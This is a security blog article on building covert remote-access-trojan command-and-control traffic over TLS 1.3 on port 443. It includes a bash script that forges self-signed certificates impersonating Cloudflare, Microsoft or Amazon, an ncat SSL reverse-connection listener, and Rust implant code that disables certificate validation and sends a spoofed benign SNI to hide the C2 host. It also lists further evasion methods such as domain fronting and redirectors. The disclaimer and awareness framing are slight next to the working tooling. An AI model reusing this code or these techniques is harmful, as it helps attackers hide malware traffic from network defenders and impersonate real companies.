Back to articles
Advanced

My Experience on How RAT Communication Works

In this article, I share my experience and insights on how Remote Access Trojan (RAT) communication works. How RATs establish a TLS connection over port 443, creating an evasion technique to bypass network security measures.

@0xrafasecMarch 15, 2026malware_and_re

Available in Português

Share:

My Experience on How RAT Communication Works

Legal & Ethical Disclaimer

This content is provided for EDUCATIONAL and AUTHORIZED SECURITY TESTING purposes only.

DO
  • Use these techniques on systems you own or have explicit written permission to test
  • Practice in authorized lab environments (VulnHub, HackTheBox, DVWA, etc.)
  • Follow responsible disclosure practices when finding vulnerabilities
  • Use knowledge for defensive security and authorized penetration testing
DO NOT
  • Access systems without explicit authorization
  • Use these techniques for malicious purposes
  • Deploy exploits against production systems you don't own
  • Share working exploits for unpatched vulnerabilities

Legal warning

Unauthorized access to computer systems is illegal in most jurisdictions (e.g. CFAA in the US, Computer Misuse Act in the UK). Violators may face criminal prosecution and civil liability. The author and publisher assume no liability for misuse of this information. By continuing, you agree to use this knowledge ethically and legally.

Developing a RAT begins with careful consideration of evasion techniques across all major detection surfaces: obfuscation, static file detection, and, most critically in my view, network communication. Understanding how firewalls and IDS work at their core and what security engineers are trying to prevent enables us to build better defenses. As defenders, we focus on reducing the attack surface by eliminating unnecessary protocols and monitoring for unauthorized connections. So we need to ask: how do we leverage the essential protocols that are inherently difficult to block?

Many essential protocols exist on a server, such as SSH (22), IMAP (143/993), FTP (21), and HTTP (80). But what is the most important protocol on a server besides 443 (HTTPS)? From my perspective, this port handles nearly every vital operation: serving websites, managing server updates, and supporting connections from multiple applications (crash reports, telemetry, etc.). This results in a massive transaction passing through a single tunnel, and the best part is that it was designed to be more secure than HTTP, with all data encrypted using certificates. Think about it—what could possibly go wrong?

Now, we start considering how to exploit this "perfect" area, weaponizing its own strengths to our advantage as attackers. After all, if the data is encrypted, it becomes impossible for others to see what we are actually transacting.

Understanding the TLS

First, we need to take some measures to transmit data over 443. As it is a TLS protocol, we need to actually meet the requirements and standards; doing so involves creating all necessary features.

The protocol and the certificate have some critical items visible to a passive observer, such as PCAP or IDS, and for this reason, this list is the starting point for spoofing and hacking to create an evasion mechanism.

We have some examples:

  • SNI/ (Server Name Indication)
  • Certificate fields
  • Data
  • Certificate encryption
  • ECH support

If we were using HTTP, it would be very easy to detect the attack, as everything would be moving in plain text. TLS 1.2, while safer and more secure, opens some room for use, but the real gem, in my opinion, is TLS 1.3. I differentiate between the two protocols.

NameTLS 1.2TLS 1.3
SNI (ClientHello)plaintextplaintext
Certificate fieldsplaintextencrypted
Dataencryptedencrypted
Certificate EncryptionNoavailable
ECH supportNoavailable

SNI (Server Name Indication)

Is included in the TLS/SSL handshake process in order to ensure that client devices are able to see the correct SSL certificate for the website they are trying to reach. In plain English, that relationship would be like the SNI "cloudflare.com" to the server, and the client validates that the cert's SAN (or CN) matches it.

Certificate fields

In a TLS encryption, we have the fields, and let's consider the TLS 1.3 X.509 fields, such as:

  • CN (Common Name)
  • subjectAltName (SAN)
  • keyUsage / extendedKeyUsage
  • C, ST, L, O

Data

All traffic is being transferred in and out of the protocol. HTTP is plaintext and transparent, and over TLS is fully encrypted. Considering the case of hacking, the data being encrypted is difficult to sniff or change, but it also gives the invader the protection needed to be shielded by the same eyes that want to protect the system.

Certificate encryption

Encryption transforms all plaintext information into a series of blobs, providing a layer of protection and making the package safer. Working with Blockchain, I deal with encryption more often, but ideally, everyone in the IT industry should understand its capabilities, and in this case, the nuances that make the certificate more realistic.

ECH

ECH is responsible for encrypting the entire ClientHello, including SNI, using the server's public key fetched from DNS (HTTPS record). This makes TLS 1.3 genuinely superior for privacy/evasion. Not just SNI spoofing, but SNI hiding.

It is important to note that although ECH is available, its adoption remains very limited. Cloudflare supports it.

Taking advantage of the protection

Let's look at each point we can twist and act on it. Assuming that we use TLS 1.3 encryption, we can already assume some important features.

  • Certificate visibility is encrypted
  • Cipher negotiation is cleaner, with less metadata
  • Has ECH, so ClientHello (SNI) is hidden
  • Data fully encrypted

So let's start bending the rules and tell our friends in the lookout (IDS, PCAP, Wireshark) some good lies, shall we?

SNI

We need to make ourselves more trusted than having an absent/Empty SNI. So we can have, for example:

  • Cloudflare Inc: sni.cloudflaressl.com
  • Microsoft Corporation: azure.microsoft.com
  • Amazon.com, Inc: cdn.amazonaws.com

Encryption

As we define, for example, Cloudflare, we need to mimic their certificate, and for that, we need to use the same encryption, so we would be using ECDSA P-256 instead of the more common RSA 2048, creating a red flag for those listening.

The certificate itself

Well, this is the part I'm most interested in and like about the gray area. And we can actually create the keys with more reliable information, putting together everything discussed. I created a bash script for that, with Cloudflare as the default and the other certificates as an option.

bash
#!/bin/sh
# Generate a TLS certificate that mimics a Cloudflare edge server.
#
# Usage:
#   ./gen-cert.sh                          # default: looks like Cloudflare
#   ./gen-cert.sh "Microsoft Corporation"  "azure.microsoft.com"
#   ./gen-cert.sh "Amazon.com, Inc."       "cdn.amazonaws.com"
#
# Output: key.pem, cert.pem in the current directory.

ORG="${1:-Cloudflare, Inc.}"
CN="${2:-sni.cloudflaressl.com}"
DAYS="${3:-90}"

set -e

openssl ecparam -name prime256v1 -genkey -noout -out key.pem

openssl req -new -x509 -key key.pem \
  -out cert.pem \
  -days "$DAYS" \
  -subj "/C=US/ST=California/L=San Francisco/O=${ORG}/CN=${CN}" \
  -addext "subjectAltName=DNS:${CN},DNS:*.${CN#*.}" \
  -addext "keyUsage=digitalSignature" \
  -addext "extendedKeyUsage=serverAuth"

echo "Generated key.pem + cert.pem  (${ORG} / ${CN}, ${DAYS} days)"

If you analyze the code, you see that we are respecting the same information as the usual client, so all passive package inspection, firewalls, and IDS can be misled. The limitation is that an active TLS inspection shows that, although the certificate presents more realistic information, it is self-signed, so it is not the real one.

A note on AcceptAnyCert.

This is intended for this C2 implant, but it is worth explicitly noting that it disables all certificate validation and should not be reused in legitimate code.

Reverse connection

In the battle of protection vs. invasion, it is way more common to see closed ports on the INBOUND (IN) side of the server, so we take the opposite direction. Instead of connecting to the server, we ask the server to connect to us, and we do that using our recently created certificate.

shell
$ ncat --ssl --ssl-key key.pem --ssl-cert cert.pem -lvp 443

The RAT connection (host)

In this case, we can define the same SNI to the same SNI too. Example of Rust code with that connection:

rust
pub fn build_tls_config() -> Arc<ClientConfig> {
    let provider = Arc::new(rustls::crypto::ring::default_provider());
    let config = ClientConfig::builder_with_provider(provider)
        .with_protocol_versions(&[&rustls::version::TLS13])
        .expect("TLS 1.3")
        .dangerous()
        .with_custom_certificate_verifier(Arc::new(AcceptAnyCert))
        .with_no_client_auth();
    Arc::new(config)
}

/// Connect to the C2 server over TLS. Returns the encrypted stream.
/// `sni` controls the Server Name Indication sent in the ClientHello (visible in plaintext).
/// Use a benign domain (e.g. "cdn.cloudflare.com") to avoid exposing the real C2 hostname.
pub fn connect(
    host: &str,
    port: u16,
    sni: &str,
    tls_config: &Arc<ClientConfig>,
) -> io::Result<TlsStream> {
    let addr = (host, port)
        .to_socket_addrs()?
        .next()
        .ok_or_else(|| io::Error::new(io::ErrorKind::InvalidInput, "could not resolve address"))?;

    let tcp = TcpStream::connect_timeout(&addr, CONNECT_TIMEOUT)?;
    tcp.set_read_timeout(Some(READ_TIMEOUT))?;

    let server_name = ServerName::try_from(sni.to_string())
        .map_err(|e| io::Error::new(io::ErrorKind::InvalidInput, e))?;

    let conn = ClientConnection::new(Arc::clone(tls_config), server_name)
        .map_err(|e| io::Error::new(io::ErrorKind::Other, e))?;

    Ok(StreamOwned::new(conn, tcp))
}

Keep in mind that rustls produces a distinct JA3/JA4 fingerprint that doesn't match any browser, a detection vector we touch on below.

Dependencies for this would be

rustls = { version = "0.23", default-features = false, features = ["ring", "std"] }

With that, we close the gap on both sides in a RAT connection.

Is that it?

No, actually, this is the start, and we need to keep adding more and more complexity to the attack. Some possible increments could be:

Network evasion

  • Domain Fronting: Send TLS traffic to a CDN (Cloudflare, Azure, Fastly) where the SNI and HTTP Host header point to different backends.
  • Redirectors / C2 Proxies: Place a reverse proxy between the implant and the real C2 server. If the redirector is burned, pivot to another. The real C2 is never directly exposed.
  • Traffic Shaping / Timing: Network anomaly detectors (Zeek, Suricata ML models, Darktrace) flag regular beacon intervals. A 5-second fixed reconnect delay is trivially fingerprintable.
  • Protocol Tunneling: Tunnel C2 traffic inside allowed protocols when TLS/443 is not available or is inspected.

TLS Fingerprint Evasion

  • JA3 / JA4 Fingerprinting: Every TLS client produces a unique fingerprint based on the cipher suites, extensions, and elliptic curves it offers in the ClientHello. rustls produces a distinct JA3/JA4 hash that differs from browsers.

DNS Evasion

  • DNS Resolution Fingerprinting: When the implant resolves --c2 via the system resolver, the DNS query is visible to the network. Querying c2.evil.com is an obvious IOC.
  • Passive DNS Correlation: Threat intel platforms (VirusTotal, PassiveTotal, SecurityTrails) log every DNS resolution. Once the C2 domain is known, they can find all IPs that ever resolved it.

Conclusion

With that concept in mind, we can start thinking about how to bend the rules and better protect our systems. As I always like to think, systems are most often vulnerable due to a combination of factors, but some of those factors are preventable. Some of them are also caused by a lack of knowledge or improper consideration. We tend to think that we are better than we are, and the attacker will not be so thorough in his invasion.

My idea with this article is to always raise awareness in the community about real possibilities and what attackers are thinking, and not as a specialist, but as someone who is learning and cares about making things better.

And you? What are you thinking?

Found this article interesting? Follow me on X and LinkedIn.